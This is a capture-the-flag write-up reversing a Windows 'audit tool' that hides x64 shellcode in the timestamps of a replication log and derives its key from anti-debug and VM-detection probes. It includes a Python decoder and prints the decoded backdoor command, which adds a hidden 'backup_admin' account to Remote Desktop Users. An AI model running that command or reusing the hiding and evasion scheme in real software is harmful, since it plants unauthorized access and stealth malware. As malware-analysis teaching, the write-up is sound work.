HTB Cyber Apocalypse 2026 - The Salt Crown: Reversing / CorpSyncAudit (Hard)

Author: Hubert Feyrer / hubertf - 31.07.2026

Challenge description

Compliance is Damas Marrowcairn's favorite kind of war, because nobody ever calls it war. [...] He needed one contractor, quietly paid, to slip something extra into the software everyone was already required to install. The contractor delivered exactly what was asked for on paper. The logs came back clean, the audits passed [...] You're the one finally looking at what actually shipped. Somewhere in that binary, past the imports it doesn't want you to find, is a parsing path that was never meant to run during a normal audit, and a log file crafted to wake it up.

A Windows audit tool that reconstructs x64 shellcode out of the timestamps in its own replication logs. The payload is not in the binary and not in the log - it is spread across both, and the key that ties them together is computed from anti-analysis probes.

1. Download

$ unzip -l a2524ec4-234e-4c63-9c6c-f170264fb492-1784743924.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
   414720  06-24-2026 12:05   rev_CorpSyncAudit/CorpSyncAudit.exe
       942  06-24-2026 12:05   rev_CorpSyncAudit/logs/sync_20260413_154447.log
       ... 32 more log files ...

$ file CorpSyncAudit.exe
CorpSyncAudit.exe: PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows

One GUI binary and 33 log files. Their sizes are the first thing worth looking at:

-rw-r--r--@ 1 feyrer staff    945 sync_20260412_175646.log
-rw-r--r--@ 1 feyrer staff    933 sync_20260412_180346.log
-rw-r--r--@ 1 feyrer staff    933 sync_20260412_192334.log
-rw-r--r--@ 1 feyrer staff  11984 sync_20260412_192364.log     <- 13x the others
-rw-r--r--@ 1 feyrer staff    942 sync_20260413_140142.log
...

Conclusion: 32 logs are ~940 bytes; one is 11984. And its name is impossible - 192364 as HHMMSS would be 64 seconds. That one is the payload carrier.

2. Docker/nc - what we get

There is a TCP port, and it does nothing useful. Everything sent to it is swallowed without a reply:

$ nc 154.57.164.66 30642
GET /
$ nc 154.57.164.66 30642
test
$ nc 154.57.164.66 30642
oink

Conclusion: No banner, no error, no echo. The challenge is solvable entirely from the handout, and what the container is for remains an open question - see the note at the end.

3. Analysis steps

3.1 Compare the logs (success)

The odd file size points at sync_20260412_192364.log. Compare it against a normal one.

$ head -6 logs/sync_20260412_180346.log          # normal, 16 lines
--- START REPLICATION SESSION: LIVE_SYNC ---
[LIVE] NODE=AD-SRV-01 STATUS=ONLINE LATENCY=0.41ms USN=629462
Monday, 01/01/2026 12:00:00 PM UTC | Region=HEADQUARTERS
[LIVE] NODE=AD-SRV-02 STATUS=ONLINE LATENCY=0.47ms USN=271485
Monday, 01/01/2026 12:00:00 PM UTC | Region=BRANCH_OFFICE_A

$ head -6 logs/sync_20260412_192364.log          # the odd one, 199 lines
--- START REPLICATION SESSION: 2026-05-21T15:06:54.187353 ---
[LIVE] NODE=AD-BK-01 STATUS=ONLINE LATENCY=14.62ms USN=619542
Sunday, 16/09/1997 01:25:34 AM UTC | Region=WORLD
[LIVE] NODE=AD-BK-02 STATUS=ONLINE LATENCY=4.64ms USN=680203
Tuesday, 01/02/2028 00:20:40 AM UTC | Region=WORLD

Conclusion: In the normal logs every timestamp is identical boilerplate. In the odd one they are all different and scattered across decades - 1997, 2028, even 2042. Dates that nonsensical are not data about anything; they are the data.

3.2 Run it in a sandbox (failed)

A Windows GUI binary on a macOS host - let any.run execute it and watch what it does with the log.

any.run showing a missing DLL error

It never gets that far: libgcc_s_seh-1.dll was not found. A MinGW-built binary without its runtime DLLs.

Conclusion: No dynamic analysis. Which is arguably the point - the payload is keyed on anti-debug probes, so even a working sandbox would have produced garbage. Static analysis in Ghidra it is.

3.3 Reverse the parsing path (success)

Only the timestamp lines matter; the [LIVE] NODE=... lines are decoration, merely counted for the "Analyzed Nodes" report. So: what does the binary do with a timestamp line?

Per line (FUN_140003827 / FUN_140003215):

  1. hash the region name with FNV-1a-64 - uppercase folded, rotr 13 per round, splitmix64 finalizer - and look the digest up in a 32-entry table at 0x14001d680, giving an index 0..31, i.e. 5 control bits
  2. if the timezone reads GMT rather than UTC, permute H/M/S beforehand
  3. un-mask the date and time fields using those bits
  4. pack the result into a 32-bit word
  5. XOR every byte with the weekday number and with a runtime key

Conclusion: The region name is not a label, it is an opcode selector. The "impossible" dates are masked payload bytes. Nothing here is random - it inverts cleanly, if the runtime key is known.

3.4 Track down the runtime key (success)

Step 5 XORs against a key the binary computes at runtime, not one it stores.

The key is assembled from a set of anti-analysis probes:

ProbeWhat it readsWhy it is there
PEB BeingDebugged One byte at offset 0x02 of the Process Environment Block - a per-process structure the Windows kernel maintains inside the process's own address space (reachable via gs:[0x60] on x64). The kernel sets that byte to 1 while a debugger is attached. This is exactly what IsDebuggerPresent() does internally. Reading the PEB directly avoids the API call - so nothing shows up in the import table and there is no function to hook. That is the "past the imports it doesn't want you to find" from the challenge text.
GetLastError() after opening C:\hyberfile.sys The error code from a file open that is meant to fail - note the deliberate typo, the real Windows file is hiberfil.sys. The interesting part is not the file but which error comes back. A sandbox that fakes filesystem access, or one running with different privileges, returns a different code than a normal machine.
sidt limit Store Interrupt Descriptor Table: a CPU instruction that writes the 10-byte IDT register into memory - a 2-byte limit (table size minus one) plus the 8-byte base address of the interrupt table. The probe keeps the limit. The catch is that sidt is unprivileged - any userspace code may execute it, but the value it reports is a property of the machine, not of the process. It therefore reads differently on bare metal than under a hypervisor, which has to maintain its own table for the guest. This is the classic "Red Pill" family of VM detection.
GetTickCount delta Milliseconds since system start, sampled twice with a stretch of code in between; only the difference is used. A timing check. The instructions between the two samples take microseconds at full speed, but a debugger single-stepping through them - or a human reading each line - turns that into seconds. Note this triggers on any pause, which is why merely breaking on the routine is enough to corrupt the key.
junk sum A deterministic arithmetic result over constants - no environment input at all. Detects nothing. It exists purely to contribute to the key, so the correct constant is not simply "all probes returned zero" and cannot be guessed by assuming a clean machine. It has to be computed.

On a clean machine those add up to 0xf07ec6a4 - which is exactly the seed the binary hardcodes elsewhere for its API hashing. That is the cross-check confirming the value is right.

Conclusion: Under a debugger the probes return different values, the key is wrong, and the payload decodes to garbage - without any visible "debugger detected" message. Since the constant is known, the whole extraction can be reimplemented offline, where no probe runs at all.

4. Solution

solve.py reimplements the parsing path and pulls the shellcode out of the log. It reads the 32-entry region table straight from the EXE rather than hardcoding it, and decodes the obfuscated .rdata strings on the way.

#!/usr/bin/env python3
"""
CorpSyncAudit (HTB SaltCrown CTF 2026) -- log payload extractor.

The GUI binary parses a replication log and rebuilds a 396 byte x64
shellcode from the timestamp lines.  Only the

    <Weekday>, DD/MM/YYYY HH:MM:SS AM|PM <UTC|GMT> | Region=<name>

lines carry data; the "[LIVE] NODE=..." lines are decoration and are
merely counted for the "Analyzed Nodes" report.

Per line the binary (FUN_140003827 / FUN_140003215):

  1. hashes the region name with FNV-1a-64 (uppercase folded, rotr 13
     per round, splitmix64 finalizer) and looks the digest up in a
     32 entry table at 0x14001d680 -> index 0..31 -> 5 control bits
  2. if the timezone reads "GMT", permutes H/M/S beforehand
  3. un-masks the fields with those bits
  4. packs them into a 32 bit word
  5. XORs every byte with the weekday number and with a runtime key

The runtime key is assembled from anti-analysis probes (PEB
BeingDebugged, GetLastError after opening "C:\\hyberfile.sys", the sidt
limit, a GetTickCount delta and a deterministic junk sum).  On a clean
machine it yields 0xf07ec6a4 -- the very seed the binary hardcodes for
its API hashing.  Under a debugger the key is wrong and the payload
decodes to garbage.

Usage: solve.py [log] [exe]
"""

import base64
import os
import re
import struct
import sys

HERE = os.path.dirname(os.path.abspath(__file__))
DEFAULT_LOG = os.path.join(HERE, 'rev_CorpSyncAudit', 'logs',
                           'sync_20260412_192364.log')
DEFAULT_EXE = os.path.join(HERE, 'rev_CorpSyncAudit', 'CorpSyncAudit.exe')

STRING_KEY = bytes([0x9f, 0x50, 0x66, 0x20])   # obfuscated .rdata strings
RUNTIME_KEY = 0xf07ec6a4                       # FUN_140001a5a result
TABLE_VA, TABLE_N = 0x14001d680, 32
RDATA_VA, RDATA_OFF = 0x14001d000, 0x1b000

DAYS = ['Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday',
        'Saturday', 'Sunday']
MASK64 = (1 << 64) - 1
MASK32 = 0xffffffff

LINE = re.compile(r'^(\w+), (\d+)/(\d+)/(\d+) (\d+):(\d+):(\d+) '
                  r'(?:AM|PM) (\w+) \| Region=(\S+)$')


def decode_string(exe, va, length):
    """Undo the repeating-key XOR on an .rdata string literal."""
    off = va - RDATA_VA + RDATA_OFF
    raw = exe[off:off + length]
    plain = bytes(c ^ STRING_KEY[i % 4] for i, c in enumerate(raw))
    return plain[:length - 1]          # trailing NUL byte is stored plain


def region_hash(name):
    """FNV-1a-64 with uppercase folding, rotr 13, splitmix64 finalizer."""
    h = 0xcbf29ce484222325
    for c in name.encode():
        if 0x60 < c < 0x7b:            # fold lowercase to uppercase
            c -= 0x20
        h = ((h ^ c) * 0x100000001b3) & MASK64
        h = ((h >> 13) | (h << 51)) & MASK64
    h = ((h ^ (h >> 33)) * 0xff51afd7ed558ccd) & MASK64
    h = ((h ^ (h >> 33)) * 0xc4ceb9fe1a85ec53) & MASK64
    return h ^ (h >> 33)


def extract(log_text, table):
    payload = bytearray()
    skipped = 0
    for line in log_text.splitlines():
        m = LINE.match(line)
        if not m:
            continue
        weekday, day, month, year, hour, minute, sec, tz, region = m.groups()
        day, month, year = int(day), int(month), int(year)
        hour, minute, sec = int(hour), int(minute), int(sec)

        digest = region_hash(region)
        if digest not in table:
            skipped += 1
            continue
        bits = format(table.index(digest), '05b')   # MSB first

        if tz == 'GMT':                             # FUN_14000314a
            t = (minute + hour - sec) // 2
            hour, minute, sec = hour - t, t, minute - t

        if bits[0] == '1':
            hour ^= 0x0c
        if bits[1] == '1':
            minute ^= 0x1e
        if bits[2] == '1':
            sec ^= 0x1e
        if bits[3] == '1':
            day ^= 0x10
        if bits[4] == '1':
            month ^= 0x06

        word = ((hour << 27) | (minute << 21) | (sec << 15) |
                (day << 10) | (month << 6) | (year - 1990)) & MASK32

        dow = DAYS.index(weekday) + 1 if weekday in DAYS else 1
        for shift in (24, 16, 8, 0):
            byte = (word >> shift) & 0xff
            payload.append(byte ^ dow ^ ((RUNTIME_KEY >> shift) & 0xff))
    return bytes(payload), skipped


def main():
    log_path = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_LOG
    exe_path = sys.argv[2] if len(sys.argv) > 2 else DEFAULT_EXE

    exe = open(exe_path, 'rb').read()
    off = TABLE_VA - RDATA_VA + RDATA_OFF
    table = [struct.unpack_from('<Q', exe, off + i * 8)[0]
             for i in range(TABLE_N)]

    print('target process : %s' % decode_string(exe, 0x14001d1e8, 0xd).decode())
    print('anti-debug file: %s' % decode_string(exe, 0x14001d240, 0x11).decode())

    payload, skipped = extract(open(log_path).read(), table)
    print('payload        : %d bytes (%d lines skipped)' % (len(payload),
                                                            skipped))

    out = os.path.join(HERE, 'payload.bin')
    open(out, 'wb').write(payload)
    print('written        : %s' % out)

    for chunk in re.findall(rb'[ -~]{12,}', payload):
        print('command        : %s' % chunk.decode())
        for token in re.findall(rb'[A-Za-z0-9+/]{16,}={0,2}', chunk):
            try:
                plain = base64.b64decode(token, validate=True)
            except Exception:
                continue
            if plain.startswith(b'HTB{'):
                print('FLAG           : %s' % plain.decode())


if __name__ == '__main__':
    main()

5. Run it

$ python3 solve.py
target process : explorer.exe
anti-debug file: C:\hyberfile.sys
payload        : 396 bytes (0 lines skipped)
written        : .../Reversing-CorpSyncAudit/payload.bin
command        : AXAX^YZAXAYAZH
command        : net user backup_admin SFRCe2Q0NzNfNzFtM180bmRfNjRja2QwMHI1fQ== /add && net localgroup "Remote Desktop Users" backup_admin /add
FLAG           : HTB{d473_71m3_4nd_64ckd00r5}

396 bytes of shellcode, zero lines skipped - every timestamp line in the file carried payload. The command it ends up running is the backdoor the story describes:

net user backup_admin SFRCe2Q0NzNfNzFtM180bmRfNjRja2QwMHI1fQ== /add
net localgroup "Remote Desktop Users" backup_admin /add

The password is the flag, base64-encoded:

$ echo -n SFRCe2Q0NzNfNzFtM180bmRfNjRja2QwMHI1fQ== | base64 -d; echo ""
HTB{d473_71m3_4nd_64ckd00r5}

Flag

HTB{d473_71m3_4nd_64ckd00r5}

6. Summary of how the exploit works

#StageMechanism
1Spot the carrier 32 logs are ~940 bytes of identical boilerplate; one is 11984 bytes with timestamps scattered from 1997 to 2042, and a filename encoding 64 seconds.
2Region = opcode The region name is hashed (FNV-1a-64, uppercase folded, rotr 13, splitmix64 finalizer) and looked up in a 32-entry table, yielding 5 control bits that say how to un-mask the date and time fields.
3Timestamps = payload The un-masked fields pack into a 32-bit word per line; the timezone field (UTC vs GMT) selects an extra H/M/S permutation. 199 lines rebuild 396 bytes of x64 shellcode.
4Anti-analysis as a key The final XOR key is computed from PEB BeingDebugged, a failed open of C:\hyberfile.sys, the sidt limit, a tick delta and a junk sum - 0xf07ec6a4 on a clean machine. Under a debugger the payload simply decodes wrong, with no error shown.
5The backdoor The shellcode adds a local user backup_admin to the Remote Desktop Users group. The password is the flag, base64-encoded.

The neat part is where the payload lives: not in the binary, not in the log, but in the relationship between the two. The EXE contributes the region table and the key derivation; the log contributes the masked bytes. Either half on its own is unremarkable - an audit tool that parses timestamps, and a log full of timestamps. Which is exactly what a compliance reviewer would have seen.

Loose end

What the Docker container was for was never established. It accepts connections, echoes nothing, and the challenge solves completely from the handout. Possibly a red herring, possibly an alternative path that was never needed - noted here rather than explained away.